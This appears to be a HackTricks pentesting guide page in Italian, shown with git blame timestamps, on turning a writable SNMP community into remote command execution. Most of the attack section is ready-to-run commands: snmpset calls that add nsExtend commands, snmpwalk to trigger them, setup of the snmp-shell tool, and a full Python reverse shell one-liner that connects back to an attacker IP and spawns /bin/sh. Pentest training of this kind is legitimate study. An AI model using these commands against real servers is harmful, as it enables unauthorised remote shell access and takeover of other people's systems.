hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

73 lines
5.1 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-03 16:02:14 +00:00
# SNMP RCE
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
SNMP può essere sfruttato da un attaccante se l'amministratore trascura la sua configurazione predefinita sul dispositivo o server. Sfruttando la **comunità SNMP con permessi di scrittura (rwcommunity)** su un sistema operativo Linux, l'attaccante può eseguire comandi sul server.
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
## Estendere i servizi con comandi aggiuntivi
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
Per estendere i servizi SNMP e aggiungere comandi extra, è possibile aggiungere nuove **righe alla tabella "nsExtendObjects"**. Ciò può essere ottenuto utilizzando il comando `snmpset` e fornendo i parametri necessari, inclusi il percorso assoluto dell'eseguibile e il comando da eseguire:
2021-04-19 17:04:40 +00:00
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
2024-02-10 13:03:23 +00:00
## Iniezione di Comandi per l'Esecuzione
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
L'iniezione di comandi da eseguire sul servizio SNMP richiede l'esistenza e l'eseguibilità del binario/script chiamato. Il **`NET-SNMP-EXTEND-MIB`** richiede di fornire il percorso assoluto dell'eseguibile.
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
Per confermare l'esecuzione del comando iniettato, è possibile utilizzare il comando `snmpwalk` per enumerare il servizio SNMP. **L'output mostrerà il comando e i relativi dettagli**, inclusi il percorso assoluto:
2021-04-19 17:04:40 +00:00
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
2024-02-10 13:03:23 +00:00
## Esecuzione dei comandi iniettati
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
Quando il **comando iniettato viene letto, viene eseguito**. Questo comportamento è noto come **`run-on-read()`**. L'esecuzione del comando può essere osservata durante la lettura di snmpwalk.
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
### Ottenere una shell del server con SNMP
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
Per ottenere il controllo del server e ottenere una shell del server, può essere utilizzato uno script Python sviluppato da mxrch disponibile su [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
2021-04-19 17:04:40 +00:00
2024-02-10 13:03:23 +00:00
In alternativa, è possibile creare manualmente una reverse shell iniettando un comando specifico in SNMP. Questo comando, attivato da snmpwalk, stabilisce una connessione reverse shell alla macchina dell'attaccante, consentendo il controllo sulla macchina vittima.
È possibile installare il prerequisito per eseguire questo:
2021-04-19 17:04:40 +00:00
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
2024-02-10 13:03:23 +00:00
Oppure una shell inversa:
2021-04-19 17:04:40 +00:00
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
2024-02-10 13:03:23 +00:00
## Riferimenti
2024-02-03 16:02:14 +00:00
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>